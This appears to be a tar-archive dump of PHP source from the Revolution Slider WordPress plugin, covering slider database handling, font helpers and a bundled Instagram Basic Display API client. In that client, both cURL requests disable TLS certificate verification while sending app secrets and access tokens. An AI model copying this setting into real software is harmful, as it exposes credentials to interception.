in_array($g, $grp))){ foreach($_bt as $e => $__bt){ $items[] = $e; } } } } $num = (!empty($items)) ? array_rand($items, 1) : false; return ($num !== false) ? $items[$num] : ''; } /** * set the tp_google_font to current date, so that it will be redownloaded * @before: RevSliderOperations::deleteGoogleFonts(); */ public function delete_google_fonts(){ update_option('tp_google_font', time()); update_option('tp_font_css', array()); update_option('tp-google-fonts-collect', array()); } /** * Remove http:// and https:// * @since: 6.0.0 **/ public function remove_http($url, $special = 'auto'){ switch($special){ case 'http': $url = str_replace('https://', 'http://', $url); if(strpos($url, 'http://') === false) $url = 'http://'.$url; break; case 'https': $url = str_replace('http://', 'https://', $url); if(strpos($url, 'https://') === false) $url = 'https://'.$url; break; case 'keep': //do nothing break; case 'auto': default: $url = str_replace(array('http://', 'https://'), '//' , $url); break; } return $url; } /** * set the memory limit to at least 256MB if possible * @since: 6.1.6 **/ public static function set_memory_limit(){ wp_raise_memory_limit('revslider'); } /** * Check if page is edited in Gutenberg */ public function _is_gutenberg_page(){ if(isset($_GET['action']) && $_GET['action'] == 'elementor') return false; // Elementor Page Edit if(isset($_GET['vc_action']) && $_GET['vc_action'] == 'vc_inline') return false; // WP Bakery Front Edit if(function_exists('is_gutenberg_page') && is_gutenberg_page()) return true; // Gutenberg Edit with WP < 5 $current_screen = get_current_screen(); if(!empty($current_screen) && method_exists($current_screen, 'is_block_editor') && $current_screen->is_block_editor()) return true; //Gutenberg Edit with WP >= 5 return false; } /** * get custom transitions **/ public function get_custom_slidetransitions(){ $custom = get_option('revslider_template_slidetransitions', array()); return apply_filters('rs_get_custom_slidetransitions', $custom); } /** * get custom transitions **/ public function save_custom_slidetransitions($template){ $custom = $this->get_custom_slidetransitions(); //empty custom templates? if(empty($custom)){ $custom = array(); $new_id = 1; }else{ $id = $this->get_val($template, 'id', 0); //custom templates exist $new_id = ($id > 0) ? $id : max(array_keys($custom)) + 1; } //update or insert template $custom[$new_id]['title'] = $template['obj']['title']; $custom[$new_id]['preset'] = $template['obj']['preset']; //return the ID the template was saved with return (update_option('revslider_template_slidetransitions', $custom)) ? $new_id : false; } /** * get custom transitions **/ public function delete_custom_slidetransitions($template){ //load templates array $custom = $this->get_custom_slidetransitions(); $id = intval($this->get_val($template, 'id', 0)); //custom template exist if($id > 0 && isset($custom[$id])){ //delete given ID unset($custom[$id]); //save the resulting templates array again if(update_option('revslider_template_slidetransitions', $custom)) return true; } return false; } /** * push the matieral icons css into the global variable **/ public function add_material_icons(){ global $rs_material_icons_css; if($rs_material_icons_css !== false) return ''; $gs = $this->get_global_settings(); if($this->get_val($gs, 'fontdownload', 'off') === 'off'){ $font_face = "@font-face { font-family: 'Material Icons'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/materialicons/v41/flUhRq6tzZclQEJ-Vdg-IuiaDsNcIhQ8tQ.woff2) format('woff2'); }"; }else{ $font_face = "@font-face { font-family: 'Material Icons'; font-style: normal; font-weight: 400; src: local('Material Icons'), local('MaterialIcons-Regular'), url(".RS_PLUGIN_URL."public/assets/fonts/material/MaterialIcons-Regular.woff2) format('woff2'), url(".RS_PLUGIN_URL."public/assets/fonts/material/MaterialIcons-Regular.woff) format('woff'), url(".RS_PLUGIN_URL."public/assets/fonts/material/MaterialIcons-Regular.ttf) format('truetype'); }"; } $rs_material_icons_css = "/* ICON SET */ ".$font_face." rs-module .material-icons { font-family: 'Material Icons'; font-weight: normal; font-style: normal; font-size: inherit; display: inline-block; text-transform: none; letter-spacing: normal; word-wrap: normal; white-space: nowrap; direction: ltr; vertical-align: top; line-height: inherit; /* Support for IE. */ font-feature-settings: 'liga'; -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; -moz-osx-font-smoothing: grayscale; }"; } } includes/EspressoDev/InstagramBasicDisplay.php000060400000021677151724235750015566 0ustar00setAppId($config['appId']); $this->setAppSecret($config['appSecret']); $this->setRedirectUri($config['redirectUri']); if (isset($config['timeout'])) { $this->setTimeout($config['timeout']); } if (isset($config['connectTimeout'])) { $this->setConnectTimeout($config['connectTimeout']); } } elseif (is_string($config)) { // For read-only $this->setAccessToken($config); } else { throw new InstagramBasicDisplayException('Error: __construct() - Configuration data is missing.'); } } public function getLoginUrl($scopes = ['user_profile', 'user_media'], $state = '') { if (is_array($scopes) && count(array_intersect($scopes, $this->_scopes)) === count($scopes)) { return self::API_OAUTH_URL . '?client_id=' . $this->getAppId() . '&redirect_uri=' . urlencode($this->getRedirectUri()) . '&scope=' . implode(',', $scopes) . '&response_type=code' . ($state != '' ? '&state=' . $state : ''); } throw new InstagramBasicDisplayException("Error: getLoginUrl() - The parameter isn't an array or invalid scope permissions used."); } public function getUserProfile($id = 0) { if ($id === 0) { $id = 'me'; } return $this->_makeCall($id, ['fields' => $this->_userFields]); } public function getUserMedia($id = 'me', $limit = 0, $before = null, $after = null) { $params = [ 'fields' => $this->_mediaFields ]; if ($limit > 0) { $params['limit'] = $limit; } if (isset($before)) { $params['before'] = $before; } if (isset($after)) { $params['after'] = $after; } return $this->_makeCall($id . '/media', $params); } public function getMedia($id) { return $this->_makeCall($id, ['fields' => $this->_mediaFields]); } public function getMediaChildren($id) { return $this->_makeCall($id . '/children', ['fields' => $this->_mediaChildrenFields]); } public function pagination($obj) { if (is_object($obj) && !is_null($obj->paging)) { if (!isset($obj->paging->next)) { return; } $apiCall = explode('?', $obj->paging->next); if (count($apiCall) < 2) { return; } $function = str_replace(self::API_URL, '', $apiCall[0]); parse_str($apiCall[1], $params); // No need to include access token as this will be handled by _makeCall unset($params['access_token']); return $this->_makeCall($function, $params); } throw new InstagramBasicDisplayException("Error: pagination() | This method doesn't support pagination."); } public function getOAuthToken($code, $tokenOnly = false) { $apiData = array( 'app_id' => $this->getAppId(), 'app_secret' => $this->getAppSecret(), 'grant_type' => 'authorization_code', 'redirect_uri' => $this->getRedirectUri(), 'code' => $code ); $result = $this->_makeOAuthCall(self::API_OAUTH_TOKEN_URL, $apiData); return !$tokenOnly ? $result : $result->access_token; } public function getLongLivedToken($token, $tokenOnly = false) { $apiData = array( 'client_secret' => $this->getAppSecret(), 'grant_type' => 'ig_exchange_token', 'access_token' => $token ); $result = $this->_makeOAuthCall(self::API_TOKEN_EXCHANGE_URL, $apiData, 'GET'); return !$tokenOnly ? $result : $result->access_token; } public function refreshToken($token, $tokenOnly = false) { $apiData = array( 'grant_type' => 'ig_refresh_token', 'access_token' => $token ); $result = $this->_makeOAuthCall(self::API_TOKEN_REFRESH_URL, $apiData, 'GET'); return !$tokenOnly ? $result : $result->access_token; } protected function _makeCall($function, $params = null, $method = 'GET') { if (!isset($this->_accesstoken)) { throw new InstagramBasicDisplayException("Error: _makeCall() | $function - This method requires an authenticated users access token."); } $authMethod = '?access_token=' . $this->getAccessToken(); $paramString = null; if (isset($params) && is_array($params)) { $paramString = '&' . http_build_query($params); } $apiCall = self::API_URL . $function . $authMethod . (('GET' === $method) ? $paramString : null); //replace encoded comma since api return error if not $apiCall = str_replace('%2C', ',', $apiCall); $headerData = array('Accept: application/json'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $apiCall); curl_setopt($ch, CURLOPT_HTTPHEADER, $headerData); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT_MS, $this->_connectTimeout); curl_setopt($ch, CURLOPT_TIMEOUT_MS, $this->_timeout); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_HEADER, true); $jsonData = curl_exec($ch); if (!$jsonData) { throw new InstagramBasicDisplayException('Error: _makeCall() - cURL error: ' . curl_error($ch), curl_errno($ch)); } list($headerContent, $jsonData) = explode("\r\n\r\n", $jsonData, 2); curl_close($ch); return json_decode($jsonData); } private function _makeOAuthCall($apiHost, $params, $method = 'POST') { $paramString = null; if (isset($params) && is_array($params)) { $paramString = '?' . http_build_query($params); } $apiCall = $apiHost . (('GET' === $method) ? $paramString : null); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $apiCall); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Accept: application/json')); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_TIMEOUT_MS, $this->_timeout); if ($method === 'POST') { curl_setopt($ch, CURLOPT_POST, count($params)); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params)); } $jsonData = curl_exec($ch); if (!$jsonData) { throw new InstagramBasicDisplayException('Error: _makeOAuthCall() - cURL error: ' . curl_error($ch)); } curl_close($ch); return json_decode($jsonData); } public function setAccessToken($token) { $this->_accesstoken = $token; } public function getAccessToken() { return $this->_accesstoken; } public function setAppId($appId) { $this->_appId = $appId; } public function getAppId() { return $this->_appId; } public function setAppSecret($appSecret) { $this->_appSecret = $appSecret; } public function getAppSecret() { return $this->_appSecret; } public function setRedirectUri($redirectUri) { $this->_redirectUri = $redirectUri; } public function getRedirectUri() { return $this->_redirectUri; } public function setUserFields($fields) { $this->_userFields = $fields; } public function setMediaFields($fields) { $this->_mediaFields = $fields; } public function setMediaChildrenFields($fields) { $this->_mediaChildrenFields = $fields; } public function setTimeout($timeout) { $this->_timeout = $timeout; } public function setConnectTimeout($connectTimeout) { $this->_connectTimeout = $connectTimeout; } } includes/EspressoDev/index.php000060400000000033151724235750012437 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); global $rs_do_init_action; $rs_do_init_action = true; class RevSliderSlider extends RevSliderFunctions { public $id; public $title; public $alias; public $settings = array(); public $params = array(); public $slides; public $type; public $inited = false; public $map; public $template_slider = false; public $is_woocommerce = false; /** * @var RevSliderSlide */ public $_static_slide; /** * used to determinate if we need to init the layers of the Slides * can cause heavy ram usage on slider overview page if we have 100+ Sliders **/ public $init_layer = true; public function __construct(){ parent::__construct(); $this->map = array(); } /** * START: DEPRECATED FUNCTIONS THAT ARE IN HERE FOR OLD ADDONS TO WORK PROPERLY **/ /** * old version of get_param(); * added for compatibility with old AddOns **/ public function getParam($key, $default = '', $validateType = null, $title = ''){ //echo ''."\n"; return $this->get_param($key, $default); } /** * old version of get_param(); * added for compatibility with old AddOns **/ public function getParams(){ //echo ''."\n"; return $this->get_params(); } /** * old version of get_id(); * added for compatibility with old AddOns **/ public function getID(){ //echo ''."\n"; return $this->get_id(); } /** * old version of get_sliders(); * added for compatibility with old AddOns **/ public function getArrSliders($templates = false){ //echo ''."\n"; return $this->get_sliders($templates); } /** * old version of init_by_mixed(); * added for compatibility with old Themes **/ public function initByMixed($mixed){ $this->init_by_mixed($mixed); } /** * old version of init_by_id(); * added for compatibility with old AddOns **/ public function initByID($sid){ //echo ''."\n"; $this->init_by_id($sid); } /** * old version of initByAlias(); */ public function initByAlias($alias){ $this->init_by_alias($alias); } /** * old version of get_alias(); */ public function getAlias(){ return $this->get_alias(); } /** * old version of check_alias(); */ public function isAliasExistsInDB($alias){ return $this->check_alias($alias); } /** * old version of get_shortcode(); */ public function getShortcode(){ return $this->get_shortcode(); } /** * old version of get_first_slide_id_from_gallery(); */ public function getFirstSlideIdFromGallery(){ return $this->get_first_slide_id_from_gallery(); } /** * old version of is_posts(); */ public function isSlidesFromPosts(){ return $this->is_posts(); } /** * old version of is_stream(); */ public function isSlidesFromStream(){ return $this->is_stream(); } /** * used in featured addon **/ public function getNumSlidesRaw(){ return $this->get_slides(); } /** * used in featured addon **/ public function getNumSlides(){ return $this->get_slides(); } /** * used in featured addon * old version of get_wanted_slides(); * @obsolete: $published obsolete **/ public function getNumRealSlides($published = false, $type = 'post'){ return $this->get_wanted_slides($type); } /** * old version of get_title(); */ public function getTitle(){ return $this->get_title(); } /** * old version of get_sliders_short(); */ public function getArrSlidersShort($exclude_id = null, $filter = 'all'){ return $this->get_sliders_short($exclude_id, $filter); } /** * old version of init_by_data(); */ public function initByDBData($data){ $this->init_by_data($data); } /** * old version of alias_exists(); */ public static function isAliasExists($alias, $return_id = false){ return self::alias_exists($alias, $return_id); } /** * old version of get_slide_names(); */ public function getArrSlideNames(){ return $this->get_slide_names(); } /** * this function does not exist anymore, only added for backwards compatibility, * as a theme author, please use different functionality to recreate this */ public function getAllSliderAliases(){ return array(); } /** * old version of get_slides(); */ public function getSlidesFromGallery($published = false, $allwpml = false, $first = false){ return $this->get_slides($published, $allwpml, $first); } /** * old version of import_slider(); * $updateStatic is obsolete now */ public function importSliderFromPost($update_animation = true, $updateStatic = true, $exact_filepath = false, $is_template = false, $single_slide = false, $update_navigation = true, $install = true){ $i = new RevSliderSliderImport(); $r = $i->import_slider($update_animation, $exact_filepath, $is_template, $single_slide, $update_navigation, $install); return $r; } /** * old version of delete_slider(); */ public function deleteSlider(){ $this->delete_slider(); } /** * old version of get_slider_for_admin_menu(); */ public function getAllSliderForAdminMenu(){ return $this->get_slider_for_admin_menu(); } /** * END: DEPRECATED FUNCTIONS THAT ARE IN HERE FOR OLD ADDONS TO WORK PROPERLY **/ /** * return the map of slide IDs **/ public function get_map(){ return $this->map; } /** * init by id or alias * @before: RevSliderSlider::initByMixed(); * @param mixed $mixed slider id or alias * @param bool $show_error */ public function init_by_mixed($mixed, $show_error = true){ if(is_numeric($mixed)){ $this->init_by_id($mixed, $show_error); }else{ $this->init_by_alias($mixed, $show_error); } } /** * initialize the slider data by given id * before: RevSliderSlider::initByID(); * @param int $sid slider id * @param bool $show_error */ public function init_by_id($sid, $show_error = true){ global $wpdb; $this->validate_numeric($sid, 'Slider ID'); $slider_data = $wpdb->get_row($wpdb->prepare("SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDER ." WHERE id = %d", $sid), ARRAY_A); if(empty($slider_data) && !is_admin() && $show_error === true) $this->throw_error('Slider not found.'); if(!empty($slider_data)) $this->init_by_data($slider_data); } /** * initialize the slider data by given alias * @before: RevSliderSlider::initByAlias(); * @param string $alias slider alias * @param bool $show_error */ public function init_by_alias($alias, $show_error = true){ global $wpdb; $_alias = str_replace(' ', '-', $alias); //make sure that no spaces are added $slider_data = $wpdb->get_row($wpdb->prepare("SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDER ." WHERE alias = %s", $_alias), ARRAY_A); if(empty($slider_data)){ //go back to an very old option where an slider alias could have a space $slider_data = $wpdb->get_row($wpdb->prepare("SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDER ." WHERE alias = %s", $alias), ARRAY_A); } if(empty($slider_data) && !is_admin() && $show_error === true){ $this->throw_error('Slider with alias '.sanitize_text_field(esc_attr($alias)).' not found.'); } if(!empty($slider_data)) $this->init_by_data($slider_data); } /** * init slider by db data * before: RevSliderSlider::initByDBData */ public function init_by_data($data){ $data = apply_filters('revslider_slider_init_by_data', $data); $this->id = $this->get_val($data, 'id'); $this->title = $this->get_val($data, 'title'); $this->alias = $this->get_val($data, 'alias'); $this->settings = (array)json_decode($this->get_val($data, 'settings'), true); $this->params = (array)json_decode($this->get_val($data, 'params'), true); $this->params['version'] = $this->get_val($this->settings, 'version'); $this->type = $this->get_val($data, 'type'); $this->inited = true; global $rs_preview_mode; $do_action = (is_admin()) ? false : true; $do_action = (wp_doing_ajax()) ? true : $do_action; $do_action = ($rs_preview_mode) ? true : $do_action; if($do_action){ global $rs_do_init_action; if($rs_do_init_action === true){ do_action('revslider_slider_init_by_data_post', $this); } } $this->modify_by_global_settings(); } /** * set slider params */ public function set_params($params){ $this->params = $params; } /** * return params of current initialized Slider * before: RevSliderSlider::getParams() */ public function get_params(){ return $this->params; } /** * set specific slider param * @since: 5.1.1 */ public function set_param($name, $value){ if(is_array($name)){ $params = &$this->params; if(!empty($name)){ foreach($name as $key){ if(is_array($params)){ $params = &$params[$key]; }elseif(is_object($params)){ $params = &$params->$key; } } } $params = $value; }else{ $this->params[$name] = $value; } } /** * return certain param of current initialized Slider * before: RevSliderSlider::get_param() * @param mixed $key * @param string $default * @return mixed */ public function get_param($key, $default = ''){ if(!is_array($key)){ return $this->get_val($this->params, $key, $default); }else{ $a = $this->params; foreach($key as $k => $v){ $a = $this->get_val($a, $v, $default); } return $a; } } /* * return settings of current initialized Slider * @since: 5.0 * before: RevSliderSlider::getSettings() */ public function get_settings(){ return $this->settings; } /* * return certain setting * @since: 5.0 */ public function get_setting($handle, $default){ return $this->get_val($this->settings, $handle, $default); } /** * get the slider title * @before: RevSliderSlider::getTitle() */ public function get_title(){ return $this->title; } /** * get the slider alias * @before: RevSliderSlider::getAlias() */ public function get_alias(){ return $this->alias; } /** * get slider shortcode * @before: RevSliderSlider::getShortcode() */ public function get_shortcode(){ return '[rev_slider alias="'.$this->alias.'"]'; } /** * get the slider tags * @since: 6.0 */ public function get_tags(){ return $this->get_val($this->settings, 'tags', array()); } /** * get the slider id * @before: RevSliderSlider::getID() */ public function get_id(){ return $this->id; } /** * return if the slider source is from posts * @before: RevSliderSlider::isSlidesFromPosts(); */ public function is_posts(){ $source = $this->get_param('sourcetype', 'gallery'); return in_array($source, array('post', 'posts', 'specific_posts', 'specific_post', 'current_post', 'woocommerce', 'woo'), true); } /** * return if the slider source is from posts * @before: RevSliderSlider::isSlidesFromPosts(); */ public function is_posts_pre60(){ $source = $this->get_param('source_type', 'gallery'); return in_array($source, array('post', 'posts', 'specific_posts', 'specific_post', 'current_post', 'woocommerce', 'woo'), true); } /** * return if the slider source is from specific posts */ public function is_specific_posts(){ return in_array($this->get_param('source_type', 'gallery'), array('specific_posts', 'specific_post'), true); } /** * return if the slider source is from stream * @before: RevSliderSlider::isSlidesFromStream(); */ public function is_stream(){ $source = $this->get_param('sourcetype', 'gallery'); return (!in_array($source, array('post', 'posts', 'specific_posts', 'specific_post', 'current_post', 'woocommerce', 'woo', 'gallery'), true)) ? $source : false; } /** * return if the slider source is from stream * @since: 6.0.0 */ public function is_stream_pre60(){ $source = $this->get_param('source_type', 'gallery'); return (!in_array($source, array('post', 'posts', 'specific_posts', 'specific_post', 'current_post', 'woocommerce', 'woo', 'gallery'), true)) ? $source : false; } /** * get real slides number, from posts, social streams ect. */ public function get_wanted_slides($type = 'post'){ $ns = count($this->slides); switch($type){ case 'post': if($this->get_param(array('source', 'post', 'fetchType'), 'cat_tag') == 'next_prev'){ $ns = 2; }else{ $ns = $this->get_param(array('source', 'post', 'maxPosts'), $ns); if(intval($ns) == 0) $ns = '∞'; } break; case 'facebook': case 'twitter': case 'instagram': case 'flickr': case 'youtube': case 'vimeo': $ns = $this->get_param(array('source', $type, 'count'), $ns); break; } return $ns; } /* * return true if slider is favorite * @since: 5.0 * @before: RevSliderSlider::isFavorite() * @obsolete since 6.0 as it was moved to the favorite.class.php */ public function is_favorite(){ return $this->get_val($this->settings, 'favorite', 'false') == 'true'; } /** * return the number of Sliders existing */ public function get_slider_count(){ global $wpdb; return count($wpdb->get_results("SELECT COUNT(*) FROM ".$wpdb->prefix . RevSliderFront::TABLE_SLIDER ." WHERE `type` = '' OR `type` IS NULL", ARRAY_A)); } /** * get the first slide ID of the current slider * @before: RevSliderSlider::getFirstSlideIdFromGallery() */ public function get_first_slide_id_from_gallery(){ global $wpdb; $slides = array(); $record = $wpdb->get_row($wpdb->prepare("SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDES ." WHERE slider_id = %s ORDER BY slide_order ASC LIMIT 0,1", array($this->get_id())), ARRAY_A); if(!empty($record)){ $slide = new RevSliderSlide(); $slide->init_by_data($record); $sid = $slide->get_id(); $slides[$sid] = $slide; return $slides; } return false; } /** * get the alias of an slider by id **/ public function get_alias_by_id($slider_id){ global $wpdb; $record = $wpdb->get_row($wpdb->prepare("SELECT `alias` FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDER ." WHERE id = %s LIMIT 0,1", array($slider_id)), ARRAY_A); return (!empty($record)) ? $this->get_val($record, 'alias') : false; } /** * get all sliders that have a certain string in the params * @since: 6.4.6 **/ public function get_slider_by_param_string($string, $templates = false){ global $wpdb; $string = (array)$string; if(empty($string)) return array(); $sql = "SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDER ." WHERE "; $add = ''; if($templates === true) $sql .= "("; foreach($string as $k => $v){ //$sql .= $add. "params LIKE '%%%s%%'"; $string[$k] = '%'.$v.'%'; $sql .= $add. "params LIKE %s"; if($add === '') $add = " OR "; } if($templates === true) $sql .= ") AND `type` != 'template'"; return $wpdb->get_results($wpdb->prepare($sql, $string), ARRAY_A); } /** * get all images that are beeing used by the Slider **/ public function get_images(){ $images = array(); $ret = array(); $image = $this->get_val($this->params, array('layout', 'bg', 'image')); $a_url = $this->get_val($this->params, array('troubleshooting', 'alternateURL')); if($image != '') $images[$image] = true; if($a_url != '') $images[$a_url] = true; if(!empty($this->slides) && count($this->slides) > 0){ foreach($this->slides as $key => $slide){ $params = $slide->get_params(); $layers = $slide->get_layers(); $image = $this->get_val($params, array('bg', 'image')); $thumb = $this->get_val($params, array('thumb', 'customThumbSrc')); $a_thumb = $this->get_val($params, array('thumb', 'customAdminThumbSrc')); if($image != ''){ $altOption = $this->get_val($params, array('attributes', 'altOption'), 'media_library'); $titleOption = $this->get_val($params, array('attributes', 'titleOption'), 'media_library'); $alt = ''; $title = ''; switch($altOption){ case 'media_library'; $id = attachment_url_to_postid($image); if($id > 0) $alt = get_post_meta($id, '_wp_attachment_image_alt', true); break; case 'file_name'; $alt = $image; break; case 'custom'; $alt = $this->get_val($params, array('attributes', 'alt'), ''); break; } switch($titleOption){ case 'media_library'; $id = attachment_url_to_postid($image); if($id > 0) $title = get_the_title($id); break; case 'file_name'; $title = $image; break; case 'custom'; $title = $this->get_val($params, array('attributes', 'title'), ''); break; } $images[$image] = array( 'src' => $image, 'alt' => $alt, 'title' => $title ); } if($thumb != '' && !isset($images[$thumb])) $images[$thumb] = true; if($a_thumb != '' && !isset($images[$a_thumb])) $images[$a_thumb] = true; if(!empty($layers)){ foreach($layers as $layer){ $type = $this->get_val($layer, 'type', 'text'); $image = $this->get_val($layer, array('media', 'imageUrl')); $bg_image = $this->get_val($layer, array('idle', 'backgroundImage')); if($image != '' && !isset($images[$image])) $images[$image] = true; if($bg_image != '' && !isset($images[$bg_image])) $images[$bg_image] = true; if(in_array($type, array('video', 'audio'))){ $poster = $this->get_val($layer, array('media', 'posterUrl'), ''); if($poster != '' && !isset($images[$poster])) $images[$poster] = true; } if($type === 'video'){ $very_big = $this->get_val($layer, array('media', 'thumbs', 'veryBig')); $big = $this->get_val($layer, array('media', 'thumbs', 'big')); $large = $this->get_val($layer, array('media', 'thumbs', 'large')); $medium = $this->get_val($layer, array('media', 'thumbs', 'medium')); $small = $this->get_val($layer, array('media', 'thumbs', 'small')); $very_big = (is_array($very_big) && isset($very_big['url'])) ? $very_big['url'] : $very_big; $big = (is_array($big) && isset($big['url'])) ? $big['url'] : $big; $large = (is_array($large) && isset($large['url'])) ? $large['url'] : $large; $medium = (is_array($medium) && isset($medium['url'])) ? $medium['url'] : $medium; $small = (is_array($small) && isset($small['url'])) ? $small['url'] : $small; if($very_big != '' && !isset($images[$very_big])) $images[$very_big] = true; if($big != '' && !isset($images[$big])) $images[$big] = true; if($large != '' && !isset($images[$large])) $images[$large] = true; if($medium != '' && !isset($images[$medium])) $images[$medium] = true; if($small != '' && !isset($images[$small])) $images[$small] = true; } } } } } if(!empty($images)){ foreach($images as $img => $b){ if(!is_bool($b)){ $ret[] = $b; }else{ $alt = ''; $title = ''; $id = attachment_url_to_postid($img); if($id > 0){ if($id > 0) $alt = get_post_meta($id, '_wp_attachment_image_alt', true); if($id > 0) $title = get_the_title($id); } $ret[] = array( 'src' => $img, 'alt' => $alt, 'title' => $title ); } } } return $ret; } /** * check if alias already exists * @before: RevSliderSlider::isAliasExists() */ public static function alias_exists($alias, $return_id = false){ global $wpdb; $alias_exists = $wpdb->get_row($wpdb->prepare("SELECT id FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDER ." WHERE alias = %s", $alias), ARRAY_A); if($return_id === true){ return (!empty($alias_exists)) ? $alias_exists['id'] : false; }else{ return !empty($alias_exists); } } /** * delete slider from datatase * @before RevSliderSlider::deleteSlider(); */ public function delete_slider(){ global $wpdb; //delete slider $wpdb->delete($wpdb->prefix . RevSliderFront::TABLE_SLIDER, array('id' => $this->id)); //delete slides $this->delete_all_slides(); $this->delete_static_slide(); do_action('revslider_slider_on_delete_slider', $this->id); } /** * delete all slides * @before: RevSliderSlider::deleteAllSlides(); */ public function delete_all_slides(){ global $wpdb; $wpdb->delete($wpdb->prefix . RevSliderFront::TABLE_SLIDES, array('slider_id' => $this->id)); do_action('revslider_slider_delete_all_slides', $this->id); do_action('revslider_slider_deleteAllSlides', $this->id); } /** * delete static slide * @before: RevSliderSlider::deleteStaticSlide(); */ public function delete_static_slide(){ global $wpdb; $wpdb->delete($wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES, array('slider_id' => $this->id)); do_action('revslider_slider_delete_static_slide', $this->id); } /** * duplicate a slide by given data * @before: RevSliderSlider::duplicateSliderFromData(); */ public function duplicate_slider_by_id($id, $is_template = false){ $this->validate_not_empty($id, 'Slider ID'); $this->init_by_id($id); $title = $this->get_title(); if($is_template){ $title = str_replace(' Template', '', $title); //remove the added Template from the title in copy process $talias = $title; }else{ $talias = $this->get_alias(); } $ti = 1; while($this->alias_exists($talias)){ //set a new alias and title if its existing in database $talias = $title. ' ' .$ti; $ti++; } return $this->duplicate_slider($talias); } /** * update the Slider title */ public function update_title($new_title){ global $wpdb; $new_title = stripslashes(esc_html($new_title)); if(!empty($new_title)){ $this->title = $new_title; $return = $wpdb->update($wpdb->prefix . RevSliderFront::TABLE_SLIDER, array('title' => $this->title), array('id' => $this->id)); }else{ $return = $this->title; } return ($return) ? $this->title : false; } /** * update the Slider Tags * @since: 6.0 */ public function update_slider_tags($slider_id, $tags){ global $wpdb; $this->validate_not_empty($slider_id, 'Slider ID'); $record = $wpdb->get_row($wpdb->prepare("SELECT `settings` FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDER ." WHERE id = %s", $slider_id), ARRAY_A); $cur_tags = array(); if(!empty($tags)){ foreach($tags as $tag){ $tag = preg_replace('/ /', '-', $tag); $tag = preg_replace('/[^-0-9a-zA-Z_-]/', '', $tag); $cur_tags[] = $tag; } } if(!isset($record['settings'])){ $record['settings'] = array(); }else{ $record['settings'] = json_decode($record['settings'], true); } if(!isset($record['settings']['tags'])) $record['settings']['tags'] = array(); $record['settings']['tags'] = $cur_tags; $settings = json_encode($record['settings']); return $wpdb->update($wpdb->prefix . RevSliderFront::TABLE_SLIDER, array('settings' => $settings), array('id' => $slider_id)); } /** * get the last Slider ID * @since: 6.0 */ public function get_last_slider_id(){ global $wpdb; $record = $wpdb->get_row("SELECT `id` FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDER ." ORDER BY `id` DESC LIMIT 0,1", ARRAY_A); $id = (!empty($record)) ? $this->get_val($record, 'id') : -1; return $id; } /** * get all slide children * @before: RevSliderSlider::getArrSlideChildren(); */ public function get_slide_children($slide_id){ $slides = $this->get_slides(); if(!isset($slides[$slide_id])){ $this->throw_error(__('Slide not found in the main slides of the slider. Maybe it', 'revslider')); } $slide = $slides[$slide_id]; $children = $slide->get_children(); return $children; } /** * get array of slide names * @before: RevSliderSlider::getArrSlideNames(); */ public function get_slide_names(){ if(empty($this->slides)){ $this->get_slides(); } $names = array(); if(!empty($this->slides)){ foreach($this->slides as $slide){ $id = $slide->get_id(); $file = $slide->image_filename; $title = $slide->get_title(); $name = $title; $name .= (!empty($file)) ? ' ('. $file .')' : ''; $childs = $slide->get_child_ids(); $names[$id] = array( 'name' => $name, 'arrChildrenIDs' => $childs, 'title' => $title ); } } return $names; } /** * duplicate slider in datatase * @before: RevSliderSlider::duplicateSlider(); */ private function duplicate_slider($title = false, $prefix = false){ global $wpdb; $old_slider_id = $this->id; //select a slider and then duplicate it $select = $wpdb->prepare("SELECT title, alias, params, type, settings FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDER ." WHERE id = %s", array($this->id)); $wpdb->query("INSERT INTO ". $wpdb->prefix . RevSliderFront::TABLE_SLIDER ." (title, alias, params, type, settings) (".$select.")"); //update the slider title and alias to a new one $slider_last_id = $wpdb->insert_id; $params = $this->params; $this->validate_not_empty($slider_last_id, 'Slider ID'); $slider_counter = $this->get_slider_count(); //get last slider number if($title === false){ $slider_counter++; $new_title = 'Slider'.$slider_counter; $new_alias = 'slider'.$slider_counter; }else{ $new_title = ($prefix !== false) ? sanitize_text_field($title.' '.$this->get_val($params, 'title')) : sanitize_text_field($title); $new_alias = ($prefix !== false) ? sanitize_title($title.' '.$this->get_val($params, 'title')) : sanitize_title($title); //check if alias exists $c_title = $new_title; $c_alias = $new_alias; while($this->alias_exists($c_alias)){ $c_title = $new_title . $slider_counter; $c_alias = $new_alias . $slider_counter; $slider_counter++; } $new_title = $c_title; $new_alias = $c_alias; } $params['title'] = $new_title; $params['alias'] = $new_alias; $params['shortcode'] = '[rev_slider alias="'. $new_alias .'"]'; if($this->template_slider) $params['pakps'] = true; $wpdb->update( $wpdb->prefix . RevSliderFront::TABLE_SLIDER, array( 'title' => $new_title, 'alias' => $new_alias, 'params' => json_encode($params), 'type' => '' ), array('id' => $slider_last_id) ); //duplicate slides and add them to the new Slider $slides = $wpdb->get_results($wpdb->prepare("SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDES ." WHERE slider_id = %s", $this->id), ARRAY_A); if(!empty($slides)){ foreach($slides as $slide){ $slide['slider_id'] = $slider_last_id; $slide_id = $slide['id']; unset($slide['id']); $wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_SLIDES, $slide); 